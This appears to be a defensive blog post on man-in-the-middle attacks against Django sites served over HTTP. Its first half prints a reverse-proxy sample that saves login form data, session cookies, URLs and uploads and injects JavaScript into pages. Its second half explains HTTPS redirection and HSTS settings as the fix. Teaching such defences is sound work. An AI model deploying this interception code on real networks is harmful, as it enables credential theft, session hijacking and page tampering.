Hacking Django websites: Man In The Middle attack

A website served via HTTP is vulnerable to Man In The Middle (MITM) attacks: a hacker can get between your browser and the server responding to the browser’s requests. The response or request can be amended for malicious intent. A Man could get In The Middle after an unsuspecting user connects to a nefarious network e.g. when joining a cafe’s wifi or after a cheeky connection to a neighbor’s unprotected network: these may be honey traps.

Concretely one way to achieve this is by creating a reverse proxy. Here’s an example of a MITM adding some Javascript to the response:

import revproxy.views
from bs4 import BeautifulSoup

from django.http import HttpResponse

# after 2 seconds change some content
javascript = BeautifulSoup(
    """<script>
        setTimeout(function() {
            document.querySelectorAll("h1")[0].innerText = "HACKED!" 
        },
     2000
)
</script>""",
'html.parser')

class ProxyView(revproxy.views.ProxyView):

    def dispatch(self, request, *args, **kwargs):
        # user may be logging in, so save the form data so to maybe steal their username and password
        save_form_data(request.GET or request.POST)

        # cookies may contain session cookie, so save it to later maybe do session hijacking
        save_cookies(request.COOKIES)

        # user may be doing something embarrassing, so save the url to maybe blackmail them
        save_url(request.get_full_path())

        # user may be uploading some embarrassing pictures of documents. more blackmail
        save_files(request.FILES)

        response = super().dispatch(request=request, path=request.get_full_path(), *args, **kwargs)

        if 'text/html' in response.get('content-type'):
            # now inject nefarious JavaScript
            soup = BeautifulSoup(response.content, 'html.parser')

            soup.head.append(javascript)
            response = HttpResponse(str(soup))
        return response

And this is the outcome:

Protection

This can be avoided by serving exclusively on HTTPS as the content will no longer be in plain text for the MITM to read and mutate. Django supports this via SECURE_SSL_REDIRECT – so Django will redirect any HTTP request to HTTPS. However, this is an incomplete solution:

  • a MITM could intercepts the “redirect to HTTPS” response and change it.
  • a MITM could upgrade your HTTP request to HTTPS: the user has a HTTP request that terminates at the MITM and the MITM upgrades the request to HTTPS: data would be plainly readable by the bad actor.

There is a solution to that in HTTP Strict Transport Security protection: the browser blocks HTTP requests to your website and instead use HTTPS.

Django facilitates that via the SECURE_HSTS_SECONDS setting. When first setting the value it’s worth using a small value like 3600 (1 hour) to check it works as expected, as once the browser sees the HSTS header it will respect it until the specified time is met, meaning if your website has misconfigured HTTPS certificates then you cannot rollback to HTTP while you fix it.

It’s also advisable to set SECURE_HSTS_INCLUDE_SUBDOMAINS so the browser uses HTST for all subdomains and not just the current one. It would be a shame to protect http://example.com but not http://www.example.com.

So concretely the following change will help protect your Django website against Man In The Middle attacks:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    ...
]

SECURE_HSTS_SECONDS = 3600
SECURE_HSTS_INCLUDE_SUBDOMAINS = True

Note that SECURE_HSTS_ settings required django.middleware.security.SecurityMiddleware to be present in MIDDLEWARE otherwise they will do nothing.

Does your website have security vulnerabilities?

Over time it’s easy for security vulnerabilities and tech debt to slip into your codebase. I can check for Man In The Middle vulnerability and many others for for free you at django.doctor. I’m a Django code improvement bot:

If you would prefer security holes not make it into your codebase, I also review pull requests:

Part 2: CSRF

part 3: Clickjacking